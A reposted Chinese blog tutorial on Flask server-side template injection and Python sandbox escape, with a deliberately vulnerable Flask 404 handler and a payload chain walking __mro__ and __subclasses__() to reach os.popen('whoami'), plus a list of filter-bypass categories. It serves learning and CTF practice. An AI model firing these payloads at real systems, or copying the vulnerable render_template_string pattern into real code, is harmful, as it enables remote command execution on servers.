程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

2024-11(2)

荐Flask SSTI/沙箱逃逸的一些总结

发布于2020-03-19 10:37     阅读(1255)     评论(0)     点赞(0)     收藏(4)


0x00 SSTI原理

​ 模板注入,与SQL注入、命令注入等原理相似,都是用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中成为程序的一部分,从而改变了程序的执行逻辑。

0x01 沙箱逃逸原理

沙盒/沙箱

​ 沙箱在早期主要用于测试可疑软件、病毒危害程度等。在沙箱中运行,即使病毒对其造成严重危害,也不会威胁到真实环境。类似于虚拟机的利用。

内建函数

​ 当启动python解释器时,即使没有创建任何变量或函数,还是会有很多函数可供使用,这些就是python的内建函数。

  • 名称空间:从名称到对象的映射

    1.内建名称空间:python自带名字,在解释器启动时产生,存放一些python内置的名字

    2.全局名称空间:在执行文件时,存放文件级别定义的名字

    3.局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字

  • 加载顺序

    内置名称空间—>全局名称空间—>局部名称空间

  • 名字查找顺序

    局部名称空间—>全局名称空间—>内置名称空间

dir()函数用于展示一个对象的属性,在没有提供当前环境所导入的所以模块

在这里插入图片描述

查看__builtins__的成分

在这里插入图片描述

类继承

python中对一个变量应用class方法从一个变量实例转到对应的对象类型后,类有以下三种关于继承关系的方法:

__base__:获取对象的一个基类,一般情况下是object
__mro__:获取对象的一个基类,显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__subclasses__():继承此对象的子类,返回一个列表

魔术函数

  • __dict__
  • __globals__
  • __getattribute__()

0x02 测试代码

​ 之前学习完flask之后,自己搭的一些环境无法复现出漏洞,看了蔡师傅的文章才知道request.url已经不能导致模板注入了。在最新的flask版本中会自动对request.url执行urlencode,改成request.args传参就可以了。

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

在以上代码中,直接将用户可控参数request.args.get(‘404_url’)在模板中直接渲染并传回页面中,这种不正确的渲染方法会产生模板注入(SSTI)。

0x03 利用方法

从变量—>对象—>基类—>子类遍历—>全局变量流程中,找到想要的模块或函数。

  • __class__

    用于返回对象所属的类

  • __bases__

    以元组形式返回一个类所直接继承的类

  • __base__

    以字符串返回一个类所直接继承的类

  • __mro__

    返回解析方法调用的顺序

  • __subclasses__()

    获取类的所有子类

  • __init__

    所以自带类都包含init方法,便于当跳板来调用globals

  • __globals__

    获取function所处空间下可使用的module、方法以及所有变量

当我们构造http://192.168.0.103:5000/123?404_url={{1-1}}时,可以看到返回的是0而不是1-1,说明404_url的值拼接进了模板进行渲染。

在这里插入图片描述

"".__class__	//获取某个类

在这里插入图片描述

"".__class__.__mro__[1]	
或者
"".__class__.__bases__	//获取object基类

在这里插入图片描述

"".__class__.__mro__[1].__subclasses__()	//获取其所有子类

在这里插入图片描述

"".__class__.__mro__[1].__subclasses__()[1].__init__.__globals__	//查看os module或其他可读写文件的方法

在这里插入图片描述

可以用burp suite爆破其中的数字,得到其他可调用os模块的内置类

在这里插入图片描述

"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__["os"]["popen"]("whoami").read()	//执行系统命令

在这里插入图片描述

0x04 python常用命令执行

os.system()

os.system(command)

返回命令执行结果的返回值,执行成功返回0,失败返回-1,而不是返回命令的执行输出

os.popen()

os.popen(command[,mode[,bufsize] ])

popen方法通过p.read()获取终端输出,而且需要 关闭close()

subprocess

  • subprocess.call(“command”)
  • subprocess.Popen(“command”)

0x05 Bypass

主要有以下几个点

  • 过滤引号
  • 过滤中括号
  • 过滤小括号
  • 过滤关键字
  • 过滤{{}}
  • 过滤点号
  • 模块阉割

蔡师傅的文章讲的非常详细,可以去读一读

https://xz.aliyun.com/t/6885#toc-3

参考链接:https://www.anquanke.com/post/id/188172#h3-3

原文链接:https://blog.csdn.net/weixin_43872099/article/details/104945597



所属网站分类: 技术文章 > 博客

作者:战天

链接:https://www.pythonheidong.com/blog/article/268359/b747c63c90c40486f66f/

来源:python黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

0 0
收藏该文
已收藏

评论内容:(最多支持255个字符)